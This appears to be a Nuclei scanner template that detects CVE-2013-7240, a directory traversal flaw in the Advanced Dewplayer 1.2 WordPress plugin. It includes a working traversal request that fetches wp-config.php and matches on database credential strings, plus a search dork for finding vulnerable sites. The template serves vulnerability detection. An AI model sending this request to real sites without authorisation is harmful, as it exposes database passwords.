id: CVE-2013-7240

info:
  name: WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in download-file.php in the Advanced Dewplayer plugin 1.2 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the dew_file parameter.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Update to the latest version of the Advanced Dewplayer plugin or remove it if it is not actively used.
  reference:
    - https://www.exploit-db.com/exploits/38936
    - https://nvd.nist.gov/vuln/detail/CVE-2013-7240
    - https://wordpress.org/support/topic/security-vulnerability-cve-2013-7240-directory-traversal/
    - http://seclists.org/oss-sec/2013/q4/570
    - http://seclists.org/oss-sec/2013/q4/566
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2013-7240
    cwe-id: CWE-22
    epss-score: 0.19641
    epss-percentile: 0.97121
    cpe: cpe:2.3:a:westerndeal:advanced_dewplayer:1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: westerndeal
    product: advanced_dewplayer
    google-query: inurl:"/wp-content/plugins/advanced-dewplayer/"
  tags: cve,cve2013,wp-plugin,lfi,edb,seclists,wordpress,westerndeal,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
          - "DB_HOST"
          - "The base configurations of the WordPress"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203ff47fa6718cbd6ab92edbc7461db042a5c9926e748b938a54c2f8eaaf86b52b02206e53af0261e537267cf61814144c6b401b27a0eec901816b5b80894885d31439:922c64590222798bb761d5b6d8e72950